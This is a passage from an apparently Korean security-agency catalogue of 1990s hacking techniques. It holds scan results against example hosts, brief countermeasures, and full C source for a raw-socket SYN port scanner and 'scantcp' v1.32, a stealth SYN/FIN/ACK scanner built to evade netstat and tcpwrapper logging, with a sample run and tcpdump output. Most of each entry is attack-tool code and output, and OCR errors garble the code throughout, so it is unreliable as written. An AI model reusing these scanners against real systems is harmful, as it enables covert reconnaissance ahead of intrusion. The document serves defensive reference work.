Page 228: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Host 203.227.32.10, port 110 connection ... open

Host 203.227.32.10, port 111 ("Sunrpc" service) connection ... open.

Host 203.227.32.10, port 512 ("exec" service) connection ... open.

Host 203.227.32.10, port 1726 connection ... open.

Host 203.227.32.10, port 6000 connection ... open.

Host 203.227.32.10, port 6112 ("dtspc" service) connection ... open.

Host 203.227.32.10, port 7100 ("fs" service) connection ... open.

Host 203.227.32.10, port 32771 connection ... open.

Host 203.227.32.10, port 32772 connection ... open.

Host 203.227.32.10, port 32774 connection ... open.

Host 203.227.32.10, port 32776 connection ... open.

Page 229: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

해킹흔적 확인방법

대응방법

- scan-detector와 같은 프로그램을 설치하여 scan을 탐지한다.

- 네트워크 패킷 모니터를 이용하여 네트워크 활동을 감시한다.

패치 설치

임시 조치

Page 230: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련 소스

#include "tcpip.h"

char *servport(int port) {

char *servport *wewtz;

char *wutez;

if((wewtz = getservbyport(htons(port), "tcp"))==NULL) {

sprintf(wutez, %d", port);

return wutez;

}else

return wewtz->s_name;

}

void ssyn(int sendsock, u_long srcaddr, u_long dstaddr, u_short srcport,

u_short dstport, u_long seq)

{

char *pack, *tpack;

int sent;

struct sockaddr_in stuffz;

tpack = creat_tcp(srcaddr, dstaddr, htons(srcport), htons(dstport),

htonl(seq), 0, TH_SYN, NULL, 0);

pack = create_ip (srcaddr, dstaddr, IPPROTO_TCP, 75, 1, tpack, 20);

stuffz.sin_family = AF_INET;

stuffz.sin_port = htons(dstport);

stuffz.sin_addr.s_addr = dstaddr;

sent = sendto(sendsock, pack, 40, 0, (struct sockaddr *)&stuffz,

sizeof(stuffz));

if(sent != 40) {perror("sending SYN"); exit(-1);}

}

void srst(int sendsock, u_long srcaddr, u_long dstaddr, u_short srcport,

u_short dstport, u_long seq)

{

char *pack, *tpack;

int sent;

struct sockaddr_in stuffz;

Page 231: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책
Page 232: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

tpack = creat_tcp(srcaddr, dstaddr, htons(srcport), htons(dstport),

seq, 0, TH_RST, NULL, 0);

pack = create_ip(srcaddr, dstaddr, IPPROTO_TCP, 75, 1,

tpack, 20);

stuffz.sin_family = AF_INET;

stuffz.sin_port = htons(dstport);

stuffz.sin_addr.s_addr = dstaddr;

sent = sendto(sendsock, pack, 40, 0, (struct sockaddr *)&stuffz,

sizeof(stuffz));

if(sent!=40) { perror("sending RST"); exit(-1); }

}

main(int c, char *v[])

{

int ssock, lsock, pid;

struct hostent *hent;

struct servent, *srvent;

u_long us, them;

u_short sport, eport;

u_short skrap;

char mahname[80], *buggz, iphh[20], tcphh[20];

struct tcphdr *tcphead;

struct iphdr *iphead;

Page 233: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if(c!=4) {

printf("usage: %s <host><start port><end port>₩n",v[0]);

exit(-1);

}

gethostname(mahname, 79);

if((hent = gethostbyname(mahname)) == NULL) {

printf(:couldn't get my hostname!@#₩n");

exit(-1);

}

bcopy(hent->h_addr, (char *)&us, hent->h_length);

if ((hent = gethostbyname(v[1]))!=NULL)

bcopy(hent->h_addr, (char *)&them, hent->h_length);

else {

printf("could mot resolve: %s₩n", v[1]);

exit(-1);

}

if ((sport=atoi(v[2]))==0) {

printf("you can't use %s as a starting port..₩n", v[2]));

exit(-1);

}

if ((eport=atoi(v[3]))==0) {

printf("you can't use % s as an ending port..₩n", v[3]));

}

ssock = socket(AF_INET, SOCK_RAW, 255);

if (ssock == -1) { perror("getting send socket"); exit(-1); }

lsock = socket(AF_INET, SOCK_RAW, 6);

if (lsock == -1) { perror("getting listen socket"); exit(-1); }

printf("Active ports on %s between: %d and %d:₩n", v[1]. sport.

eport);

pid= getpid();

for (skrap=sport;skrap<eport+1; skrap++) {

ssyn(ssock, us, them, pid+skrap, skrap, (skrap * 1000));

while ((ntohs(tcphead->th_port) != pid+skrap) ||

(ntohs(tcphead->th_port) != skrap) ||

(them != iphead->saddr) || (us != iphead->daddr)) {

usleep(100);

buggz = read_tcpip();

bcopy(buggz, &iphh, 20);

iphead = (struct iphdr *)iphh;

tcphead = (struct tcpgdr *)tcphh;

Page 234: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

}

if ((iphead->saddr == them) && (iphead->daddr=us) &&

(ntohl(tcphead->th_ack) == ((skrap * 1000 )+1 ))) {

if (tcphead->th_flags & TH_SYN) {

printf("%s.%s₩n", inet_ntoa(them), servport(skrap)));

srst(ssock, us, them, pid+skrap, skrap, ((skrap * 1000) + 1));

}

}

}

}

Page 235: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

포트스캔_ACK-*-해킹도구

PortScan_ACK-*-hack_tool

Page 236: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

PortScan_ACK-*-hack_tool

포트스캔_ACK-*-해킹도구

문서번호

KH98-026

문서제목

포트스캔_ACK-*-해킹도구(PortScan_ACK-*-hack_tool)

관련 응용프로그램

관련 운영체제

취약점 분석

취약점 이해

- TCP/IP의 연결방식(Connection Mechanism)을 이용하여 각 포트의 개방 여부를 탐지하

는 것으로 일반적인 포트스캐너와는 달리 연결을 맺지 않고 SYN에 대한 ACK만으로 포트

의 연결 여부를 판단하므로 netstat나 tcpwrapper에 잡히지 않는다.

취약점 확인 방법

해킹수법 분석

해킹수법 이해

해킹 소스 프로그램

- 첨부

해킹시험 결과

./scan 0 203.227.32.14 203.227.32.15 20-30 5000 5

Page 237: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

scantcp

version 1.32

# response address : 203.227.32.14(203.227.32.14)

# target address : 203.227.32.15(203.227.32.15)

# ports : 20-30

# (total number of ports) : 11

# delay between sends : 5000 microseconds

# delay : 5 seconds

# flood detection threshold : 8unanswered sends

# slow factor : 10

# max sends per port : 3

* BEGINNING SCAN

* sending to port 20

* got reply (RST) (short ttl)

* sending to port 21

* got reply (SYN+ACK)

* sending to port 22

Page 238: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

* got reply (RST) (short ttl)

* sending to port 23

* got reply (SYN+ACK)

* sending to port 24

* got reply (RST) (short ttl)

* sending to port 25

* got reply (SYN+ACK)

* sending to port 26

* got reply (RST) (short ttl)

* sending to port 27

* got reply (RST) (short ttl)

* sending to port 28

* got reply (RST) (short ttl)

* sending to port 29

* got reply (RST) (short ttl)

* sending to port 30

* got reply (RST) (short ttl)

*SCANNING IS OVER

# port 21 is listening

# port 23 is listening

# port 25 is listening

# total ports open or maybe open: 3

13:02:54.036562 203.227.32.14.1234 > target.ftp: S

758783491:758783491(0) win 512

13:02:54.036853 target.ftp > 203.227.32.14.1234: S

1324672000:1324672000(0) ack 758783492 win 4096 <mss 1460>

13:02:54.037138 203.227.32.14.1234 > target.ftp: R

758783492:758783492(0) win 0

13:02:54.037424 203.227.32.14.1234 > target.ftp: R

758783492:758783492(0) win 512

13:02:54.057356 203.227.32.14.1234 > target.22: S 684387517:684387517(0)

win 512

13:02:54.057601 target.22 > 203.227.32.14.1234: R 0:0(0) ack 684387518

win 0

Page 239: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

13:02:54.077370 203.227.32.14.1234 > target.telnet: S

33463914:33463914(0) win 512

13:02:54.077707 target.telnet > 203.227.32.14.1234: S

1324736000:1324736000(0) ack 33463915 win 4096 <mss 1460>

13:02:54.077960 203.227.32.14.1234 > target.telnet: R

33463915:33463915(0) win 0

13:02:54.078211 203.227.32.14.1234 > target.telnet: R

33463915:33463915(0) win 512

13:02:54.085381 flat.32795 > 203.227.32.14.telnet: .ack 566 win 8760

(DF)

13:02:54.085965 203.227.32.14.telnet > flat.32795: P 566:712(146) ack 22

win 15360 (DF)

13:02:54.086204 203.227.32.14.1234 > target.24: S 342241519:342241519(0)

win 512

13:02:54.086447 target.24 > 203.227.32.14.1234: R 0:0(0) ack 342241520

win 0

13:02:54.107373 203.227.32.14.1234 > target.smtp: S

1483920592:1483920592(0) win 512

13:02:54.107695 target.smtp > 203.227.32.14.1234: S

1324800000:1324800000(0) ack 1483920593 win 4096 <mss 1460>

13:02:54.107949 203.227.32.14.1234 > target.smtp: R

1483920593:1483920593(0) win 0

13:02:54.108200 203.227.32.14.1234 > target.smtp: R

1483920593:1483920593(0) win 512

13:02:54.107346 203.227.32.14.1234 > target.26: S

1932422408:1932422408(0) win 512

13:02:54.127576 target.26 > 203.227.32.14.1234: R 0:0(0) ack 1932422409

win 0

13:02:54.135425 flat.32795 > 203.227.32.14.telnet: .ack 712 win 8760

(DF)

13:02:54.136029 203.227.32.14.telnet > flat.32795: P 712:866(154) ack 22

win 15360 (DF)

13:02:54.136253 203.227.32.14.1234 > target.27: S 341603450:341603450(0)

win 512

13:02:54.136484 target.27 > 203.227.32.14.1234: R 0:0(0) ack 341603451

win 0

13:02:54.157346 203.227.32.14.1234 > target.28: S

1297389768:1297389768(0) win 512

13:02:54.157566 target.28 > 203.227.32.14.1234: R 0:0(0) ack 1297389769

win 0

Page 240: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

13:02:54.177348 203.227.32.14.1234 > target.29: S 579758561:579758561(0)

win 512

13:02:54.177560 target.29 > 203.227.32.14.1234: R 0:0(0) ack 579758562

win 0

13:02:54.185427 flat.32795 > 203.227.32.14.telnet: .ack 866 win 8760

(DF)

13:02:54.186051 203.227.32.14.telnet > flat.32795: P 866:1028(162) ack

22 win 15360 (DF)

13:02:54.186252 203.227.32.14.1234 > target.30: S 630072926:630072926(0)

win 512

13:02:54.186483 target.30 > 203.227.32.14.1234: R 0:0(0) ack 630072927

win 0

13:02:54.235394 flat.32795 > 203.227.32.14.telnet: .ack 1028 win 8760

(DF)

13:02:54.235870 203.227.32.14.telnet > flat.32795: P 1028:1082(54) ack

22 win 15360 (DF)

13:02:54.285431 flat.32795 > 203.227.32.14.telnet: .ack 1028 win 8760

(DF)

13:02:59.276639 203.227.32.14.telnet > flat.32795: P 1082:1102(20) ack

22 win 15360 (DF)

13:02:59.277089 203.227.32.14.1234 > target.ftp-data: R

851401619:851401619(0) win 512

13:02:59.277171 203.227.32.14.1234 > target.ftp: R

758783493:758783493(0) win 512

13:02:59.277254 203.227.32.14.1234 > target.22: R 684387518:684387518(0)

win 512

13:02:59.277334 203.227.32.14.1234 > target.telnet: R

33463916:33463916(0) win 512

13:02:59.277416 203.227.32.14.1234 > target.24: R 342241520:342241520(0)

win 512

13:02:59.277504 203.227.32.14.1234 > target.smtp: R

1483920594:1483920594(0) win 512

13:02:59.277585 203.227.32.14.1234 > target.26: R

1932422409:1932422409(0) win 513:02:59.277672 203.227.32.14.1234 >

target.27: R 341603451:341603451(0) win 512

13:02:59.277753 203.227.32.14.1234 > target.28: R

1297389769:1297389769(0) win 512

13:02:59.277838 203.227.32.14.1234 > target.29: R 579758562:579758562(0)

win 512

Page 241: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

13:02:59.277921 203.227.32.14.1234 > target.30: R 630072927:630072927(0)

win 512

해킹흔적 확인방법

대응방법

- 네트워크 모니터를 이용하여 네트워크 활동을 점검한다.

- SYN 패킷 로그 프로그램을 설치하여 운영한다.

Page 242: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

Exploit Source

관련소스

/*

* scantcp.c

*

* version 1.32

*

* Scans for listening TCP ports by sending packets to them and waiting for

* replies. Relys upon the TCP specs and some TCP implementation bugs found

* when viewing tcpdump logs.

*

* As always, portions recycled(eventually, with some stops) from n00k.c

* (Wow, that little piece of code I wrote long ago still servers as the base

* interface for newer tools)

*

* Technique:

* 1. Active scanning: not supported - why bother.

*

* 2. Half-open scanning:

* a. send SYN

* b. if reply is SYN|ACK send RST, port is listening

* c. if reply is RST, port is not listening

*

* 3. Stealth scanning: (works on nearly all systems tested)

* a. sends FIN

* b if RST is returned, not listening.

* c. otherwise, port is probably listening

*

* (This bug in many TCP implementations is not limited to FIN only; in fact

* many other flag combinations will have similar effects. FIN alone was

* selected because always returns a plain RST when not listening, and the

* code here was fit to handle RSTs already so it took me like 2 minutes

* to add this scanning method)

*

* 4. Stealth scanning: (may not work on all systems)

* a. sends ACK

Page 243: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

* b. waits for RST

* c. if TTL is low or window is not 0, port is probably listening.

*

* (stealth scanning was created after I watched some tcpdump logs with

* these symptoms. The low-TTL implementation bug is currently believed

* to appear on Linux only, the non-zero window on ACK seems to exists on

* all BSDs.)

*

* CHANGES:

*

* 0. (v1.0)

* - First code, worked but was put aside since I didn't have time nor

* need to continue developing it.

* 1. (v1.1)

* - BASE CODE MOSTLY REWRITTEN(the old code wasn't that maintainable)

* - Added code to actually enforce the usecond-delay without usleep()

* (replies might be lost if usleep()ing)

* 2. (v1.2)

* - Added another stealth scanning method (FIN).

* Tested and passed on:

* AIX 3

* AIX 4

* IRIX 5.3

* SunOS 4.1.3

* System V 4.0

* Linux

* FreeBSD

* Solaris

*

* Tested and failed on:

* Cisco router with services on (IOS 11.0)

*

* 3. (v1.21)

* - Code commented since I intend on abandoning this for a while.

*

* 4. (v1.3)

* - Resending for ports that weren't replied for.

* (took some modifications in the internal structures. this also

* makes it possible to use non-linear port ranges

* (say 1-1024 and 6000))

Page 244: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

*

* 5. (v1.31)

* - Flood detection - will slow up the sending rate if not replies are

* received for STCP_THRESHOLD consecutive sends. Saves a lot of resends

* on easily-flooded networks.

*

* 6. (v1.32)

* - Multiple port ranges support.

* The format is: <start-end>|<num>[,<start-end>|<num>,...]

*

* Examples: 20-26,113

* 20-100, 113-150, 6000, 6660-6669

*

* PLANNED: (when I have time for this)

*

* (v2.x) - Multiple flag combination selections, smart algorithm to point

* out uncommon replies and cross-check them with another flag

*

*/

#define RESOLVE_QUIET

#include <stdio.h>

#include <netinet/in.h>

#include <netinet/ip.h>

#include <netinet/ip_tcp.h>

#include <sys/time.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <unistd.h>

#include <stdlib.h>

#include <string.h>

#include <signal.h>

#include <errno.h>

#include "resolve.c"

#include "tcp_pkt.c"

#define STCP_VERSION "1.32"

#define STCP_PORT 1234 /* Our local port. */

#define STCP_SENDS 3

Page 245: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

#define STCP_THRESHOLD 8

#define STCP_SLOWFACTOR 10

/* GENERAL ROUTINES */

void banner(void)

{

printf("₩nscantcp₩n");

printf("version %s₩n",STCP_VERSION);

}

void usage(const char *progname)

{

printf("₩nusage: ₩n");

printf("%s<method><source><dest><ports><udelay><delay>[sf]₩n₩n",progname);

printf("₩t<method> : 0: half-open scanning (type 0, SYN)₩n");

printf("₩t 1: stealth scanning (type 1, FIN)₩n");

printf("₩t : 2: stealth scanning (type 2, ACK)₩n");

printf("₩t<source> : source address (this host)₩n");

printf("₩t<dest> : target to scan₩n");

printf("₩t<ports> : ports/and or ranges to scan - eg:

21-30,113,6000₩n");

printf("₩t<udelay> : microseconds to wait between TCP sends₩n");

printf("₩t<delay> : seconds to wait for TCP replies₩n");

printf("₩t[sf] : slow-factor in case sends are detected to be too

fast₩n₩n");

}

/* OPTION PARSING etc */

unsigned char *dest_name;

unsigned char *spoof_name;

struct sockaddr_in destaddr;

unsigned long dest_addr;

unsigned long spoof_addr;

unsigned long usecdelay;

unsigned waitdelay;

int slowfactor = STCP_SLOWFACTOR;

struct portrec /* the port-data structure */

{

Page 246: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

unsigned n;

int state;

unsigned char ttl;

unsigned short int window;

unsigned long int seq;

char sends;

} *ports;

char *portstr;

unsigned char scanflags;

int done;

int rawsock; /* socket descriptors */

int tcpsock;

int lastidx = 0; /* last sent index */

int maxports; /* total number of ports */

void timeout(int signum) /* timeout handler */

{ /* this is actually the data */

int someopen = 0; /* analyzer function. werd. */

unsigned lastsent;

int checklowttl = 0;

struct portrec *p;

printf("* SCANNING IS OVER₩n₩n');

fflush(stdout);

done = 1;

for (lastsent = 0; lastsent<maxports; lastsent++)

{

p=ports+lastsent;

if (p->state==-1)

if (p->ttl >64)

{

Page 247: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

checklowttl = 1;

break;

}

}

/* the above loop checks whether there's need to report low-ttl packets

*/

for (lastsent = 0;lastsent<maxports;lastsent++)

{

p=ports+lastsent;

destaddr.sin_port=htons(p->n);

tcpip_send(rawsock,&destaddr,

spoof_addr,destaddr.sin_addr.s_addr,

STCP_PORT,ntohs(destaddr.sin_port),

TH_RST,

p->seq++, 0,

512,

NULL,

0);

} /* just RST -everything- sent */

/* this inclued packets a reply */

/* (even RST) was recieved for */

for (lastsent = 0; lastsent<maxports; lastsent++)

{ /* here is the data analyzer */

p=ports+lastsent;

switch (scanflags)

{

case TH_SYN:

swich(p->state)

{

case -1: break;

case 1 : printf("#port %d is listening.₩n",p->n);

someopen++;

break;

case 2 : printf("#port %d maybe listening (unknown response).₩n", p->n);

someopen++;

break;

Page 248: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

default: printf("#port %d needs to be rescanned.₩n"p->n);

}

break;

case TH_ACK:

switch (p->state)

{

case -1:

if (((p->ttl<65) && checklowttl) || (p->window>0))

{

printf("#port %d maybe listening",p->n);

if (p->ttl<65) printf ("(low ttl)“);

if (p->window>0) printf("(big window)");

printf(".₩n");

someopen++;

}

break;

case 1:

case 2:

printf("# port %d has an unexpected response.₩n", p->n);

break;

default:

printf("# port %d needs to be rescanned.₩n", p->n);

}

break;

case TH_FIN:

switch (p->state)

{

case -1:

break;

case 0:

printf("# port %d maybe open.₩n",p->n);

someopen++;

break;

default:

printf("# port %d has an unexpected response.₩n",p->n);

}

}

}

Page 249: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

printf(" ₩n");

printf("# total ports open or maybe open: %d₩n₩n",someone);

free(ports);

exit(0); /* heh. */

}

int resolve_one(const char *name, unsigned long *addr, const char *desc)

{

struct sockaddr_in tempaddr;

if (resolve(name, &tempaddr,0) == -1) {

printf("error:can't resolve the %s.₩n", desc);

return -1;

}

*addr = tempaddr.sin_addr.s_addr;

return 0;

}

void give_info(void)

{

printf("# response address : %s

(%s)₩n",spoof_name,inet_ntoa(spoof_addr));

printf("# target address : %s

(%s)₩n",dest_name,inet_ntoa(dest_addr));

printf("#ports : %s₩n",portstr);

printf("# (total number of ports) : %d₩n",maxports);

printf("# delay between sends : %lu microseconds₩n",usecdelay);

printf("# delay : %u seconds₩n",waitdelay);

printf("# flood detection threshold : %d unanswered

sends₩n",STCP_THRESHOLD);

printf("# slow factor : %d₩n",slowfactor);

printf("# max sends per port : %d₩n₩n",STCP_SENDS);

}

int parse_args(int argc, char *argv[])

{

if (strrchr(argv[0],'/')!=null)

argv[0]=strrchr(argv[0],'/' + 1;

Page 250: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if (argc<7) {

printf("%s: not enough arguments₩n",argv[0]);

return -1;

}

switch (atoi(argv[1]))

{

case 0 : scanflags = TH_SYN;

break;

case 1 : scanflags = TH_FIN;

break;

case 2 : scanflags = TH_ACK;

break;

default : printf("%s: unknown scanning method₩n",argv[0]);

return -1;

}

spoof_name = argv[2];

dest_name = argv[3];

portstr = argv[4];

usecdelay=atoi(argv[5]);

waitdelay=atoi(argv[6]);

if (argc>7) slowfactor = atoi(argv[7]);

if ((usecdelay==0) && (slowfactor > 0))

{

printf("%s: adjusting microsecond-delay to 1usec.₩n");

usecdelay++;

}

return 0;

}

/* MAIN */

int build_ports(char *str) /* build the initial port-database */

{

Page 251: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

int i;

int n;

struct portrec *p;

int sport;

char *s;

s =str;

maxports = 0;

n = 0;

while (*s != '₩0')

{

switch(*s)

{

case '0':

case '1':

case '2':

case '3':

case '4':

case '5':

case '6':

case '7':

case '8':

case '9':

n *= 10;

n += (*s - '0');

break;

case '-':

if (n==0) return -1;

sport = n;

n=0;

break;

case ',':

if(n==0) return -1;

if(sport !=0)

{

if (sport >=n) return -1;

maxports += n-sport;

sport= 0;

Page 252: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

} else

maxports++;

n=0;

break;

}

s++;

}

if (n==0) return -1;

if (sport != 0)

{

if (sport >=n) return -1;

maxports +=n-sport;

sport =0;

}

else

maxports++;

maxports+=2;

if ((ports=(struct portrec *)malloc((maxports)*sizeof(struct

portrec))) == NULL)

{

fprintf(stderr,"₩nerror: not enough memory for port

detabase₩n₩n");

exit(1);

}

s = str;

maxports = 0;

n = 0;

while (*s != '₩0')

{

switch (*s)

{

case '1':

case '2':

case '3':

case '4':

case '5':

Page 253: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

case '6':

case '7':

case '8':

case '9':

n *= 10;

n += (*s - '0');

break;

case '-':

if (n==0) return -1;

sport = n;

n = 0;

break;

case ',':

if(n==0) return -1;

if(sport !=0)

{

if (sport >=n) return -1;

while (sport <=n)

{

for (i=0; i<maxports; i++)

if ((ports+1)->n ==sport) break;

if (i < maxports-1)

printf("notice: duplicate port - %d₩n",sport);

else

{

(ports+maxports)->n = sport;

maxports++;

}

sport++;

}

sport=0;

} else

{

for (i=0; i<maxports; i++)

if ((ports+i)->n == n) break;

if (i < maxports-1)

printf("notice: duplicate port - %d₩n",n);

else

Page 254: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

{

(ports+maxports)->n = n;

maxports++;

}

}

n = 0;

break;

}

s++;

}

if(n==0) return -1;

if(sport !=0)

{

if (sport >=n) return -1;

while (sport <=n)

{

for (i=0;i<maxports;i++)

if ((ports+1)->n ==sport) break;

if (i < maxports-1)

printf("notice: duplicate port - %d₩n",sport);

else

{

(ports+maxports)->n = sport;

maxports++;

}

sport++;

}

sport=0;

} else

{

for (i=0; i<maxports; i++)

if ((ports+i)->n == n) break;

if (i < maxports-1)

printf("notice: duplicate port - %d₩n",n);

else

{

(ports+maxports)->n = n;

Page 255: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

maxports++;

}

}

printf("₩n");

for(i=0; i<maxports; i++)

{

p = ports+i;

p->state = 0;

p->sends = 0;

}

return 0;

}

struct portrec *portbynum(int num)

{

int i=0;

while ( ((ports+i)->n != num) && (i<maxports) ) I++;

if (i == maxports) return NULL;

return(ports+i);

}

struct portrec *nextport(char save)

{

struct portrec *p = ports;

int doneports = 0;

int oldlastidx = lastidx;

while (doneports != maxports)

{

p=ports+lastidx;

Page 256: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if ((p->state != 0) || (p->sends == STCP_SENDS))

{

doneports++;

lastidx++;

lastidx %= maxports;

}

else

break;

}

if (save)

lastidx = oldlastidx;

else

lastidx = (lastidx + 1) % maxports;

if (doneports == maxports) return NULL;

return p;

}

inline unsigned long usecdiff(struct timeval *a, struct timeval *b)

{

unsigned long s;

s= b->tv_sec - a->tv_sec;

s *= 1000000

s += b->tv_usec - a->tv_usec;

return s; /* return the stupid microsecond

diff */

}

void main(int argc, char *argv[])

{

int lastsend = 0;

char buf[3000];

struct iphdr *ip = (struct iphdr *)(buf);

struct tcphdr *tcp = (struct tcphdr *)(buf+sizeof(struct iphdr));

Page 257: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

struct sockaddr_in from;

int fromlen;

struct portrec *readport;

fd_set rset, west;

struct timeval waitsend, now, del;

unsigned long udiff;

int sendthreshold = 0;

barnner();

if(parse_args(argc,argv))

{

usage(argv[0]);

return;

}

if(resolve_one(dest_name,

&dest_addr,

"destination host")) exit(1);

destaddr.sin_addr.s_addr = dest_addr;

destaddr.sin_family = AF_INET;

if(resolve_one)spoof_name,

&spoof_addr,

"source host")) exit(1);

if(build_ports(portstr)==-1)

{

printf("₩n%s: bad port string₩n",argv[0]);

usage(argv[0]);

return;

}

give_info();

Page 258: KISAII-HE-981 · 2012-06-14 · KH98-100xconsole-IRIX-오버플로우 부록CERTCC-KR보안권고문 제목차례 KA-97-01UnixFLEXlm취약점과대책 KA-97-02HP-UXnewgrp버퍼오버플로우대책

if((tcpsock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)

{

printf("₩nerror: couldn't get TCP raw socket₩n₩n");

exit(1);

}

if((rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)

{

printf("₩nerror: couldn't get raw socket₩n₩n");

exit(1);

}

/* well, let's get to it. */

done = 0 ;

printf("* BEGINNING SCAN ₩n");

fflush(stdout);

gettimeofday(&waitsend,NULL);

while(!done)

{

if(nextport(1) == NULL)

{

alarm(0); /* no more sends, now we just */

signal(SIGALRM, timeout); /* to wait <waitdelay> seconds */

alarm(waitdelay); /* before resetting and giving */

} /* results. */

FD_ZERO(&rset);

FD_SET(tcpsock , &rset);

gettimeofday(&now , NULL)

udiff = usecdiff(&waitsend , &now);

